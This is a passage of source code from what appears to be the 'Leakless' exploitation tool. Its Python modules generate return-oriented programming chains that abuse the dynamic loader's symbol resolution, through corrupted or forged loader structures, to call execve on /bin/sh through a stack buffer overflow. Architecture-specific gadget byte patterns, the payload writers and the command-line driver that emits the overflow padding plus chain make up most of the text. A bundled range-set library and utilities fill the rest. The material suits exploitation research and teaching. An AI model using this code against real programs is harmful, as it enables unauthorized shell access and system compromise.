    pointer_to_null = buffer.allocate(exploit.pointer_size, name="pointer_to_null")
    binsh = buffer.allocate(len(binsh_str), name="binsh")

    result = ""

    result += exploit.allocate_helpers(buffer)

    # Pointer to NULL
    result += exploit.write_pointer(pointer_to_null, 0)

    # /bin/sh
    result += exploit.write_string(binsh, binsh_str)

    # TODO: fixme
    exploit_info = exploit.jump_to(buffer, len("execve\0"))

    result += exploit.write_string(exploit_info.function_name_area, "execve\0")

    result += exploit_info.prepare

    result = exploit.flush(buffer) + result

    result += invoke(exploit, exploit_info, [binsh.pointer, pointer_to_null.pointer, pointer_to_null.pointer])

    log(buffer.dump())

    return result

def invoke(exploit, exploit_info, parameters):
    result = ""

    if exploit_info.plt0 is not None:
        # Invocation of the dynamic linker resolver (plt[0]) with the
        # appropriate relocation index
        launch = exploit.ptr2str(exploit_info.plt0) + exploit.ptr2str(exploit_info.reloc_index)

        prepare, nope, stack_frame = exploit.call(launch, parameters)
        result += prepare + stack_frame

    elif (exploit_info.dl_resolve is not None) and \
         (exploit_info.l_struct is not None):

        # TODO: this is outdated
        # Layout:
        #    &copy_to_stack
        #    offset = C - A
        #    destination
        # A: &copy_to_stack
        #    offset = B - B
        #    destination
        # B: &dl_resolve
        # C: &l
        #    reloc_index

        function_call, next_gadget_offset, stack_frame = exploit.call(exploit.filler, parameters)

        copy_dl_resolve = exploit.copy_to_stack(exploit.ptr2str(exploit_info.dl_resolve),
                                                exploit.ptr2str(next_gadget_offset + 0 * exploit.pointer_size))

        result += exploit.copy_to_stack(exploit.ptr2str(exploit_info.l_struct),
                                        exploit.ptr2str(len(copy_dl_resolve) + len(function_call))) + \
                 copy_dl_resolve + \
                 function_call + \
                 exploit.filler + \
                 exploit.ptr2str(exploit_info.reloc_index) + \
                 stack_frame
    else:
        raise Exception("Don't know how to launch the exploit")

    return result

exploit_method = {
    "ld-corrupt": CorruptLdSoExploit,
    "craft-dl-structs": CraftDlStructsExploit
}

def main():
    # Handle arguments
    parser = argparse.ArgumentParser(description='Leakless')
    parser.add_argument('executable', metavar='EXECUTABLE', help='Path to the executable to exploit.', nargs=1)
    parser.add_argument("-o", '--output', metavar="TYPE", default="rop-chain", help='"rop-chain" will generate a ROP chain to exploit a stack based buffer overflow. "json" will output information about what needs to be written and where, along with the address of _dl_resolve_address and the index to pass it. Default is "rop-chain".')
    parser.add_argument("-m", "--method", metavar="METHOD", default="craft-dl-structs", help='"craft-dl-structs" will try to create all the structures necessary to invoke the dynamic loader in a writable memory address.\n"ld-corrupt" changes the pointer to DT_STRTAB ElfN_Dyn entry in an internal data structure of the loader and fakes a .dynstr table. Default is "craft-dl-structs".')
    parser.add_argument("-v", '--verbose', action='store_true', help="Print debug information.")
    parser.add_argument("-f", '--offset', metavar='OFFSET', type=int, help='Offset to overwrite the saved PC.')
    parser.add_argument("-l", '--library', metavar='LIBRARY', type=int, default=0, help='When using the "ld-corrupt" method, use the LIBRARY-th dependency to obtain the dl_resolve pointer. Use `ldd` to get the order of the libraries. By default is 0.')
    parser.add_argument("-s", '--size', action="store_true", help="Don't output the acutal ROP chain, but just its size.")
    args = parser.parse_args()

    executable_path = args.executable[0]

    utils.verbose = args.verbose

    # TODO: implement "gdb" output method
    if args.output in ["json", "ropl"]:
        route = "dump"
    else:
        route = args.output

    # Handle registered modules
    gadget_providers = {}
    modules = glob.glob(os.path.dirname(__file__) + "/plugins/*.py")
    modules = [os.path.splitext(os.path.basename(module))[0] for module in modules]
    modules.remove("__init__")

    for module_name in modules:
        module = importlib.import_module("plugins." + module_name)
        for key, value in module.register_gadget_provider():
            gadget_providers[key] = value

    # Instantiate inline a class with the appropriate subclasses
    exploit = (type("", (gadget_providers[route], exploit_method[args.method], object), {}))()
    exploit.config_from_elf(executable_path)
    exploit.library_index = args.library

    if args.output == "json":
        # TODO: move in an external function
        buffer = Buffer(exploit, exploit.writeable_ranges)
        exploit_info = exploit.jump_to(buffer, len("execve\0"))
        result = exploit.empty_exploit()
        result += exploit.write_string(exploit_info.function_name_area, "execve\0")

        result += exploit_info.prepare

        result = exploit.flush(buffer) + result

        what_to_write = []

        for gadget_type, value, address, offset in result:
            if gadget_type == "write_constant":
                address = hex(exploit.str2ptr(address))
            elif gadget_type == "write_with_offset":
                address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
            elif gadget_type == "deref_with_offset_and_save":
                address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
                what_to_write.append({"address": hex(exploit.str2ptr(value)), "value": address})
                continue

            what_to_write.append({"address": address, "value": value.encode("hex")})

        result = {"write": what_to_write, "reloc_index": exploit_info.reloc_index}

        if exploit_info.plt0 is not None:
            result["plt0"] = hex(exploit_info.plt0)
        else:
            result["l_struct"] = hex(exploit_info.l_struct)
            result["dl_resolve"] = hex(exploit_info.dl_resolve)

        sys.stdout.write(json.dumps(result, indent=4, sort_keys=True) + "\n")
        return
    elif args.output == "ropl":
        # TODO: move in an external function
        buffer = Buffer(exploit, exploit.writeable_ranges)
        exploit_info = exploit.jump_to(buffer, len("execve\0"))
        result = exploit.empty_exploit()
        result += exploit.write_string(exploit_info.function_name_area, "execve\0", buffered=False)

        result += exploit_info.prepare

        result = exploit.flush(buffer) + result

        sys.stdout.write("fun main() {\n")
        emit = lambda x: sys.stdout.write("    " + x + "\n")

        for gadget_type, value, address, offset in result:
            if gadget_type == "write_constant":
                address = exploit.str2ptr(address)
                remaining = len(value) %  exploit.pointer_size

                if remaining != 0:
                    value += "\x00" * (exploit.pointer_size - remaining)

                for word, address in izip(chunks(value, exploit.pointer_size), xrange(address, address + len(value) / 4, 4)):
                    emit("v = {}".format(hex(address)))
                    emit("[v] = {}".format(hex(exploit.str2ptr(word))))

            elif gadget_type == "write_with_offset":
                address = hex(exploit.str2ptr(address))
                offset = hex(exploit.str2ptr(offset))
                value = hex(exploit.str2ptr(value))

                emit("address = {}".format(address))
                emit("target = [address] + {}".format(offset))
                emit("[target] = {}".format(value))

            elif gadget_type == "deref_with_offset_and_save":
                save_address, pointer_address, offset = hex(exploit.str2ptr(value)), hex(exploit.str2ptr(address)), hex(exploit.str2ptr(offset))
                emit("target = {}".format(save_address))
                emit("source = {}".format(pointer_address))
                emit("value = [source] + {}".format(offset))
                emit("[target] = [value]".format(save_address))
            emit("")

        sys.stdout.write("}\n")
        return
    else:
        if args.offset is None:
            log("Please give me the offset to reach the saved PC.")
            sys.exit(-1)

        exploit = launch(exploit, "/bin/sh")
        if args.size:
            sys.stdout.write(str(len(exploit)) + "\n")
        else:
            sys.stdout.write("A" * args.offset + exploit)

if __name__ == "__main__":
    main()


================================================
FILE: memory.py
================================================
from rangeset import RangeSet

from utils import align, chunks, log

class AllocateFailException(Exception):
    pass

class Buffer:
    """Create a Buffer from the specified ranges.
    Please provide disjoint ranges."""
    def __init__(self, exploit, ranges):
        self.exploit = exploit
        self.areas = {}
        self.ranges = ranges
        self.cleanup_ranges()

    # TODO: keep track of spaoce left empty and try to reuse it
    # TODO: add an upper boundary
    def allocate(self, size, align_to=None, alignment=None, name=None, constraint=lambda x,y: True, start=None):
        if start is not None:
            result = MemoryArea(self.exploit, start, size, align_to, alignment)
            if (result.start, result.end) not in self.ranges:
                raise Exception("The range (" + hex(result.start) + ", " + hex(result.end) + ") is not allowed")
        else:
            for candidate_range in self.ranges:
                start, end = candidate_range

                result = MemoryArea(self.exploit, start, size, align_to, alignment)
                start += result.size

                while (start < end) and (not constraint(result.start, result.index)):
                    result = MemoryArea(self.exploit, start, size, align_to, alignment)
                    start += result.size

                if start < end:
                    break
                else:
                    result = None

        if result is None:
            raise AllocateFailException("Couldn't find a position for memory area \"" + str(name) + "\" satisfying the imposed constraints before the end of the available buffer.")
        else:
            # We have to create a hole in the appropriate range
            self.ranges = self.ranges - RangeSet(result.start, result.end)
            self.cleanup_ranges()

        if name is not None:
            self.areas[name] = result

        return result

    def cleanup_ranges(self):
        self.ranges = RangeSet.mutual_union(*filter(lambda (start, end): start != end, list(self.ranges)))

    def dump(self):
        result = ""
        for k, v in self.areas.iteritems():
            result += "Area " + k + "\n" + "\n".join([" " * 4 + line for line in v.dump().split("\n")]) + "\n"
        return result

class MemoryArea:
    def __init__(self, exploit, start, size, align_to=None, alignment=None):
        self.exploit = exploit
        if align_to is not None:
            if start < align_to:
                raise Exception("Trying to align to a something which is after our buffer: aligning " + self.exploit.pointer_format % start + " to " + self.exploit.pointer_format % align_to)
            self.align_to = align_to
            self.alignment = size if (alignment is None) else alignment
            self.start = align(start, self.align_to, self.alignment)
            self.index = (self.start - self.align_to) / self.alignment
        else:
            self.alignment = 1
            self.align_to = 0
            self.start = start
            self.index = 0

        self.content = ""
        self.pointer = self.exploit.ptr2str(self.start)
        self.size = size
        self.end = self.start + self.size
        self.wasted = -1
        self.is_buffered = False
        if self.index < 0:
            log("Warning: a negative index has been computed: " + str(self.index))

    def dump(self):
        result = ""
        result += "Start: " + self.exploit.pointer_format % self.start + " (" + self.exploit.closest_section_from_address(self.start) + ")\n"
        result += "Size: " + self.exploit.pointer_format % self.size + " (" + str(self.size) + ")\n"
        result += "End: " + self.exploit.pointer_format % self.end + "\n"
        result += "Base: " + self.exploit.pointer_format % self.align_to + "\n"
        result += "Alignment: " + str(self.alignment) + "\n"
        result += "Index: " + hex(self.index) + " (" + str(self.index) + ")\n"
        result += "Wasted: " + str(self.wasted) + "\n"
        result += "Content:\n"
        for chunk in chunks(self.content, self.exploit.pointer_size):
            result += " " * 4 + " ".join(["%.2x" % ord(c) for c in chunk]) + " " + (self.exploit.pointer_format % self.exploit.str2ptr(chunk) if len(chunk) == self.exploit.pointer_size else "") + "\n"
        return result


================================================
FILE: plugins/CommonGadgetsExploit.py
================================================
from exploit import Exploit
from utils import insert_and_replace

class CommonGadgetsExploit(Exploit):
    """Mainly add a pool of gadgets common in the various architectures."""

    def __init__(self):
        Exploit.__init__(self)

        # Good for FreeBSD

        # self.add_gadget("EM_386", "writemem", 4,
        #                 " 8b 44 24 08" + # mov    eax,DWORD PTR [esp+0x8] \
        #                 " 8b 4c 24 04" + # mov    ecx,DWORD PTR [esp+0x4] \
        #                 " 89 01" +       # mov    DWORD PTR [ecx],eax \
        #                 " c3")           # ret

        # self.add_gadget("EM_386", "cleanup", 3,
        #                 " 83 c4 0c" + # add    esp,0xc \
        #                 " c3")        # ret

        # Good for Linux

        self.add_gadget("EM_386", "writemem", 4,
                        " 8b 54 24 08" + # mov edx,DWORD PTR [esp+0x8] \
                        " 8b 44 24 04" + # mov eax,DWORD PTR [esp+0x4] \
                        " 89 10"       + # mov DWORD PTR [eax],edx \
                        " c3")           # ret

        # *(*(eax)+ecx) = ebx
        self.add_gadget("EM_386", "deref_write_with_offset", 4,
                        " 58"       + # pop eax \
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 00"    + # mov eax,DWORD PTR [eax] \
                        " 89 1c 08" + # mov DWORD PTR [eax+ecx*1],ebx \
                        " c3")        # ret

        self.add_gadget("EM_386", "deref_with_offset_and_save", 4,
                        " 58"       + # pop eax \
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 00"    + # mov eax,DWORD PTR [eax]
                        " 8b 04 18" + # mov eax,DWORD PTR [eax+ebx*1] \
                        " 89 01"    + # mov DWORD PTR [ecx],eax \
                        " c3")        # ret

        self.add_gadget("EM_386", "copy_to_stack", 4,
                        " 5b"       + # pop ebx \
                        " 59"       + # pop ecx \
                        " 8b 1b"    + # mov ebx,DWORD PTR [ebx] \
                        " 89 1c 0c" + # mov DWORD PTR [esp+ecx*1],ebx \
                        " c3")        # ret

        self.add_gadget("EM_386", "cleanup", 4,
                        " 5b" + # pop ebx \
                        " 5e" + # pop esi \
                        " 5f" + # pop edi \
                        " 5d" + # pop ebp \
                        " c3")  # ret

        self.add_gadget("EM_386", "prepare_memcpy", 4,
                        " 58"       + # pop eax \
                        " 5e"       + # pop esi \
                        " 01 e6"    + # add esi,esp \
                        " 89 34 04" + # mov DWORD PTR [esp+eax*1],esi \
                        " c3")        # ret

        self.add_gadget("EM_386", "custom_cleanup", 4,
                        " 5b"       + # pop ebx \
                        " 01 dc"    + # add esp,ebx \
                        " c3")        # ret

        # This gadget requires 6 useless parameters

        self.add_gadget("EM_X86_64", "writemem", 8,
                        " 48 8b 54 24 10" + # mov rdx,QWORD PTR [rsp+0x10] \
                        " 48 8b 44 24 08" + # mov rax,QWORD PTR [rsp+0x8] \
                        " 48 89 10"       + # mov QWORD PTR [rax],rdx \
                        " c3")              # ret

        self.add_gadget("EM_X86_64", "writemem", 8,
                        " 48 89 37"       + # mov    QWORD PTR [rdi],rsi \
                        " c3")              # ret

        self.add_gadget("EM_X86_64", "cleanup", 6,
                        " 5b"    + # pop    rbx \
                        " 5d"    + # pop    rbp \
                        " 41 5c" + # pop    r12 \
                        " 41 5d" + # pop    r13 \
                        " 41 5e" + # pop    r14 \
                        " 41 5f" + # pop    r15 \
                        " c3")     # ret

        self.add_gadget("EM_X86_64", "args", None,
                        " 4c 89 ea" +   # mov    rdx,r13 \
                        " 4c 89 f6" +   # mov    rsi,r14 \
                        " 44 89 ff" +   # mov    edi,r15d \
                        " 41 ff 14 dc") # call   QWORD PTR [r12+rbx*8]

        self.add_gadget("EM_X86_64", "deref_write_with_offset", None,
                        " 58"          + # pop    rax \
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 00"    + # mov    rax,QWORD PTR [rax] \
                        " 48 89 1c 08" + # mov    QWORD PTR [rax+rcx*1],rbx \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "deref_with_offset_and_save", None,
                        " 58"          + # pop    rax \
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 00"    + # mov    rax,QWORD PTR [rax] \
                        " 48 8b 04 18" + # mov    rax,QWORD PTR [rax+rbx*1] \
                        " 48 89 01"    + # mov    QWORD PTR [rcx],rax \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "copy_to_stack", None,
                        " 5b"          + # pop    rbx \
                        " 59"          + # pop    rcx \
                        " 48 8b 1b"    + # mov    rbx,QWORD PTR [rbx] \
                        " 48 89 1c 0c" + # mov    QWORD PTR [rsp+rcx*1],rbx \
                        " c3")           # ret

        self.add_gadget("EM_X86_64", "prepare_memcpy", None,
                        " 5e"       + # pop    rsi \
                        " 48 01 e6" + # add    rsi,rsp \
                        " c3")        # ret

        self.add_gadget("EM_X86_64", "custom_cleanup", None,
                        " 58"       + # pop    rax \
                        " 48 01 c4" + # add    rsp,rax \
                        " c3")        # ret

        self.add_gadget("EM_X86_64", "prepare_easy", None,
                        " 5f"       + # pop    rdi \
                        " 5e"       + # pop    rsi \
                        " 5a"       + # pop    rdx \
                        " c3")        # ret

        # Assume LE

        self.add_gadget("EM_ARM", "writemem", 4,
                        " 00 10 80 e5" + # str r1, [r0] \
                        " 1e ff 2f e1")  # bx lr

        # Better not use this due to a bug in QEMU

        #self.add_gadget("EM_ARM", "prepare_regs", None,
        #                " f8 85 bd e8")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "prepare_regs", None,
                        " f8 85 bd 08")  # popeq {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "setup_args", None,
                        " 07 00 a0 e1" + # mov r0, r7 \
                        " 08 10 a0 e1" + # mov r1, r8 \
                        " 0a 20 a0 e1" + # mov r2, sl \
                        " 01 40 84 e2" + # add r4, r4, #1 \
                        " 33 ff 2f e1" + # blx r3 \
                        " 06 00 54 e1" + # cmp r4, r6 \
                        " f7 ff ff 1a" + # bne 8604 <__libc_csu_init+0x38> \
                        " f8 85 bd e8")  # pop {r3, r4, r5, r6, r7, r8, sl, pc}

        self.add_gadget("EM_ARM", "just_ret", None,
                        " 1e ff 2f e1")  # bx      lr

    def allocate_helpers(self, buffer):
        """Allocate helper buffers needed by some specific platforms (e.g. for cleanup
        purposes)"""
        result = Exploit.allocate_helpers(self, buffer)
        if self.arch == "EM_X86_64":
            self.popret = buffer.allocate(self.pointer_size, name="popret")
            nope, nope, cleanup_location = self.get_gadget("cleanup")
            result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8)
        return result

    def deref_with_offset_and_save(self, pointer_address, offset, save_address):
        """Dereference the address in the given memory area (pointer_address),
        add the offset, and copy the content to the given address
        (save_address)."""
        none, none, location = self.get_gadget("deref_with_offset_and_save")
        return location + pointer_address + offset + save_address

    def write_with_offset(self, pointer_address, offset, value):
        """Dereference the address in the given memory area, add the specified
        offset and write there the specified value."""
        none, none, location = self.get_gadget("deref_write_with_offset")
        return location + pointer_address + value + offset

    def copy_to_stack(self, offset, source):
        """Copy the content of the given memory area (source) at the specified
        offset from the stack pointer. When computing the offset assume the
        following layout (assuming 32-bit pointers):

        ...
        &gadget              -12
        offset                -8
        &source               -4
        &next_return_address   0
        parameter1            +4
        ...
        """
        none, none, location = self.get_gadget("copy_to_stack")
        return location + offset + source

    def call(self, invocation, parameters):
        """ROP function invocation: return a ROP chain that sets up the arguments on the
        stack and/or on the registers, invoke the function and cleanup the
        arguments."""
        if self.arch == "EM_386":
            return self.call32(invocation, parameters)
        elif self.arch == "EM_X86_64":
            return self.call64(invocation, parameters)
        elif self.arch == "EM_ARM":
            return self.call_arm(invocation, parameters)
        else:
            raise Exception("Unsupported architecture")

    def call32(self, invocation, parameters):
        """Implements the i386 calling convention."""
        cleanup_size, nope, cleanup_location = self.get_gadget("cleanup")
        if len(parameters) > cleanup_size:
            raise Exception("Too many parameters, find a better gadget")

        prepare = invocation
        stack_frame = cleanup_location + \
                      "".join(map(str, parameters)) + \
                      self.filler * (cleanup_size - len(parameters))
        return prepare, 0, stack_frame

    def call64(self, invocation, parameters):
        """Implements the x86_64 calling convention."""
        if len(parameters) > 3:
            raise Exception("Too many parameters")
        elif self.str2ptr(parameters[0]) & 0xffffffff00000000 != 0:
            raise Exception("First parameter high part has to be 0")
        elif len(parameters) == 0:
            return invocation
        elif len(parameters) < 3:
            parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))

        preapare_easy_location = self.get_gadget("prepare_easy")
        if preapare_easy_location is not None:
            preapare_easy_location = preapare_easy_location[2]
            prepare = preapare_easy_location + "".join(parameters)
        else:
            nope, nope, args_location = self.get_gadget("args")
            nope, nope, cleanup_location = self.get_gadget("cleanup")
            prepare = cleanup_location
            prepare += self.ptr2str(0) # rbx
            prepare += self.ptr2str(1) # rbp == rbx + 1
            prepare += self.ptr2str(self.fini + 8) # r12, jump to pop;ret
            prepare += parameters[2] # r13 -> rdx
            prepare += parameters[1] # r14 -> rsi
            prepare += parameters[0] # r15 -> edi
            prepare += args_location # move registers; call pop;ret
            prepare += self.filler * 7

        prepare += invocation

        return prepare, len(prepare) - len(invocation), ""

    def call_arm(self, invocation, parameters):
        """Implements the ARM calling convention."""
        if len(parameters) > 3:
            raise Exception("Too many parameters, find a better gadget")
        elif len(parameters) == 0:
            return invocation
        elif len(parameters) < 3:
            parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))

        nope, nope, prepare_regs_location = self.get_gadget("prepare_regs")
        nope, nope, setup_args_location = self.get_gadget("setup_args")
        prepare = prepare_regs_location
        prepare += invocation[0:4] # r3, target of a blx
        prepare += self.ptr2str(0) # r4
        prepare += self.filler # r5
        prepare += self.ptr2str(1) # r6 == r4 + 1
        prepare += parameters[0] # r7 -> r0
        prepare += parameters[1] # r8 -> r1
        prepare += parameters[2] # sl -> r2
        prepare += setup_args_location # pc
        prepare += self.filler * 7 # pop again 7 regs + pc

        return prepare, len(prepare_regs_location), ""

    def do_writemem(self, address, value):
        """Write a pointer-sized buffer to the specfied location. This
        function uses the writemem gadget."""
        write_size, nope, location = self.get_gadget("writemem")

        remaining = ""
        if len(value) > write_size:
            remaining = value[write_size:]
            value = value[0:write_size]
        elif len(value) < write_size:
            value = value.ljust(write_size, "\0")

        # TODO: using kill for this is overkill, create a simpler gadget
        prepare, nope, stack_frame = self.call(location, [address, value])
        return remaining, prepare + stack_frame

    def memcpy(self, destination, data):
        write_size, nope, prepare_memcpy_location = self.get_gadget("prepare_memcpy")
        write_size, nope, custom_cleanup_location = self.get_gadget("custom_cleanup")

        if len(data) % 4 != 0:
            data = data + "\x00" * (4 - len(data) % 4)

        from utils import log
        log("I've to write " + str(len(data)) + " bytes at " + hex(destination))

        if self.arch == "EM_386":
            result = prepare_memcpy_location + self.ptr2str(self.pointer_size * 3) # + self.ptr2str(0)

            prepare, nope, stack_frame = self.call(self.ptr2str(self.memcpy_plt), [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])
            invocation = prepare + stack_frame
            invocation += custom_cleanup_location + self.ptr2str(len(data))

            # Offset from ESP to position of the buffer
            result += self.ptr2str(len(invocation))
            result += invocation

            result += data

            return result
        elif self.arch == "EM_X86_64":
            invocation = prepare_memcpy_location + self.filler + self.ptr2str(self.memcpy_plt)

            prepare, invocation_start, stack_frame = self.call(invocation, [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])
            invocation = prepare + stack_frame
            invocation += custom_cleanup_location + self.ptr2str(len(data))
            invocation = insert_and_replace(invocation, self.ptr2str(len(invocation) - invocation_start - self.pointer_size * 2), invocation_start + self.pointer_size)

            result = invocation

            result += data

            return result
            #return location + self.ptr2str(0) + self.ptr2str(len(data)) + self.ptr2str(self.memcpy_plt)
        else:
            raise Exception("Unsupported architecture")


def register_gadget_provider():
    return [("rop-chain", CommonGadgetsExploit)]


================================================
FILE: plugins/RawDumperExploit.py
================================================
from exploit import Exploit

class RawDumperExploit(Exploit):
    def __init__(self):
        Exploit.__init__(self)
        self.empty_exploit = lambda: []

    def do_writemem(self, address, value):
        """Write a pointer-sized buffer to the specfied location."""
        return "", [("write_constant", value, address, None)]

    def write_with_offset(self, pointer_address, offset, value):
        return [("write_with_offset", value, pointer_address, offset)]

    def deref_with_offset_and_save(self, pointer_address, offset, save_address):
        return [("deref_with_offset_and_save", save_address, pointer_address, offset)]

def register_gadget_provider():
    return [("dump", RawDumperExploit)]


================================================
FILE: plugins/__init__.py
================================================


================================================
FILE: rangeset.py
================================================
"""
This module provides a RangeSet data structure. A range set is, as the
name implies, a set of ranges. Intuitively, you could think about a
range set as a subset of the real number line, with arbitrary gaps.
Some examples of range sets on the real number line:

1. -infinity to +infinity
2. -1 to 1
3. 1 to 4, 10 to 20
4. -infinity to 0, 10 to 20
5. (the empty set)

The code lives on github at: https://github.com/axiak/py-rangeset.

Overview
-------------

.. toctree::
   :maxdepth: 2


The rangeset implementation offers immutable objects that represent the range
sets as described above. The operations are largely similar to the
`set object <http://docs.python.org/library/stdtypes.html#set>`_ with the
obvious exception that mutating methods such as ``.add`` and ``.remove``
are not available. The main object is the ``RangeSet`` object.
"""

import bisect
import operator
import functools
import collections

__version__ = (0, 0, 6)

__all__ = ('INFINITY', 'NEGATIVE_INFINITY',
           'RangeSet')

_parent = collections.namedtuple('RangeSet_', ['ends'])

class _Indeterminate(object):
    def timetuple(self):
        return ()
    def __eq__(self, other):
        return other is self

class _Infinity(_Indeterminate):
    def __lt__(self, other):
        return False
    def __gt__(self, other):
        return True
    def __str__(self):
        return 'inf'
    __repr__ = __str__

class _NegativeInfinity(_Indeterminate):
    def __lt__(self, other):
        return True
    def __gt__(self, other):
        return False
    def __str__(self):
        return '-inf'
    __repr__ = __str__

INFINITY = _Infinity()
NEGATIVE_INFINITY = _NegativeInfinity()

class RangeSet(_parent):
    def __new__(cls, start, end):
        if end is _RAW_ENDS:
            ends = start
        else:
            if isinstance(start, _Indeterminate) and isinstance(end, _Indeterminate) and \
                    start == end:
                raise LogicError("A range cannot consist of a single end the line.")
            if start > end:
                start, end = end, start
            ends = ((start, _START), (end, _END))
        return _parent.__new__(cls, ends)

    def __merged_ends(self, *others):
        sorted_ends = list(self.ends)
        for other in others:
            sorted_ends.extend(RangeSet.__coerce(other).ends)
        sorted_ends.sort()
        return sorted_ends

    @classmethod
    def __coerce(cls, value):
        if isinstance(value, RangeSet):
            return value
        elif isinstance(value, tuple) and len(value) == 2:
            return cls(value[0], value[1])
        else:
            return cls.mutual_union(*[(x, x) for x in value])

    @classmethod
    def __iterate_state(cls, ends):
        state = 0
        for _, end in ends:
            if end == _START:
                state += 1
            else:
                state -= 1
            yield _, end, state

    def __or__(self, *other):
        sorted_ends = self.__merged_ends(*other)
        new_ends = []
        for _, end, state in RangeSet.__iterate_state(sorted_ends):
            if state > 1 and end == _START:
                continue
            elif state > 0 and end == _END:
                continue
            new_ends.append((_, end))
        return RangeSet(tuple(new_ends), _RAW_ENDS)

    union = __or__

    def __and__(self, *other, **kwargs):
        min_overlap = kwargs.pop('minimum', 2)
        if kwargs:
            raise ValueError("kwargs is not empty: {0}".format(kwargs))
        sorted_ends = self.__merged_ends(*other)
        new_ends = []
        for _, end, state in RangeSet.__iterate_state(sorted_ends):
            if state == min_overlap and end == _START:
                new_ends.append((_, end))
            elif state == (min_overlap - 1) and end == _END:
                new_ends.append((_, end))
        return RangeSet(tuple(new_ends), _RAW_ENDS)

    intersect = __and__

    def __ror__(self, other):
        return self.__or__(other)

    def __rand__(self, other):
        return self.__and__(other)

    def __rxor__(self, other):
        return self.__xor__(other)

    def __xor__(self, *other):
        sorted_ends = self.__merged_ends(*other)
        new_ends = []
        old_val = None
        for _, end, state in RangeSet.__iterate_state(sorted_ends):
            if state == 2 and end == _START:
                new_ends.append((_, _NEGATE[end]))
            elif state == 1 and end == _END:
                new_ends.append((_, _NEGATE[end]))
            elif state == 1 and end == _START:
                new_ends.append((_, end))
            elif state == 0 and end == _END:
                new_ends.append((_, end))
        return RangeSet(tuple(new_ends), _RAW_ENDS)

    symmetric_difference = __xor__

    def __contains__(self, test):
        last_val, last_end = None, None
        if not self.ends:
            return False
        if isinstance(test, _Indeterminate):
            return False
        for _, end, state in RangeSet.__iterate_state(self.ends):
            if _ == test:
                return True
            elif last_val is not None and _ > test:
                return last_end == _START
            elif _ > test:
                return False
            last_val, last_end = _, end
        return self.ends[-1][0] == test

    def issuperset(self, test):
        if isinstance(test, RangeSet):
            rangeset = test
        else:
            rangeset = RangeSet.__coerce(test)
        difference = rangeset - ~self
        return difference == rangeset

    __ge__ = issuperset

    def __gt__(self, other):
        return self != other and self >= other

    def issubset(self, other):
        return RangeSet.__coerce(other).issuperset(self)

    __le__ = issubset

    def __lt__(self, other):
        return self != other and self <= other

    def isdisjoint(self, other):
        return not bool(self & other)

    def __nonzero__(self):
        return bool(self.ends)

    def __invert__(self):
        if not self.ends:
            new_ends = ((NEGATIVE_INFINITY, _START),
                        (INFINITY, _END))
            return RangeSet(new_ends, _RAW_ENDS)
        new_ends = list(self.ends)
        head, tail = [], []
        if new_ends[0][0] == NEGATIVE_INFINITY:
            new_ends.pop(0)
        else:
            head = [(NEGATIVE_INFINITY, _START)]
        if new_ends[-1][0] == INFINITY:
            new_ends.pop(-1)
        else:
            tail = [(INFINITY, _END)]
        for i, value in enumerate(new_ends):
            new_ends[i] = (value[0], _NEGATE[value[1]])
        return RangeSet(tuple(head + new_ends + tail), _RAW_ENDS)


    invert = __invert__

    def __sub__(self, other):
        return self & ~RangeSet.__coerce(other)

    def difference(self, other):
        return self.__sub__(other)

    def __rsub__(self, other):
        return RangeSet.__coerce(other) - self

    def measure(self):
        if not self.ends:
            return 0
        if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):
            raise ValueError("Cannot compute range with unlimited bounds.")
        return reduce(operator.add, (self.ends[i + 1][0] - self.ends[i][0] for i in range(0, len(self.ends), 2)))

    def range(self):
        if not self.ends:
            return 0
        if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):
            raise ValueError("Cannot compute range with unlimited bounds.")
        return self.ends[-1][0] - self.ends[0][0]

    def __str__(self):
        pieces = ["{0} -- {1}".format(self.ends[i][0], self.ends[i + 1][0])
                                    for i in range(0, len(self.ends), 2)]
        return "<RangeSet {0}>".format(", ".join(pieces))

    __repr__ = __str__

    def __eq__(self, other):
        if self is other:
            return True
        elif not isinstance(other, RangeSet):
            try:
                other = RangeSet.__coerce(other)
            except TypeError:
                return False
        return self.ends == other.ends

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        return hash(self.ends)

    @classmethod
    def mutual_overlaps(cls, *ranges, **kwargs):
        minimum = kwargs.pop('minimum', 2)
        if kwargs:
            raise ValueError("kwargs is not empty: {0}".format(kwargs))
        return cls.__coerce(ranges[0]).intersect(*ranges[1:], minimum=minimum)

    @classmethod
    def mutual_union(cls, *ranges):
        return cls.__coerce(ranges[0]).union(*ranges[1:])

    @property
    def min(self):
        return self.ends[0][0]

    @property
    def max(self):
        return self.ends[-1][0]

    def __iter__(self):
        ends_copy = list(self.ends)
        for i in range(0, len(ends_copy), 2):
            yield (ends_copy[i][0], ends_copy[i + 1][0])

_START = -1
_END = 1

_NEGATE = {_START: _END, _END: _START}

_RAW_ENDS = object()


class LogicError(ValueError):
    pass


================================================
FILE: utils.py
================================================
import itertools
import sys

verbose = False

def align(address, base, of):
    offset = (address - base) % of
    return address if offset == 0 else address + of - offset

def hex_bytes(string):
    return "".join(map(lambda x: chr(int(x, 16)), filter(len, string.split(" "))))

def findall(sub, string, addend):
    index = 0 - 1
    try:
        while True:
            index = string.index(sub, index + 1)
            yield index + addend
    except ValueError:
        pass

def find_all_strings(sections, string):
    result = [list(findall(string, section.data(), section.header.p_vaddr)) for section in sections if string in section.data()]
    return sum(result, [])

def find_string(sections, string):
    result = [section.header.p_vaddr + section.data().index(string) for section in sections if string in section.data()]
    return first_or_none(result)

def first_or_none(list):
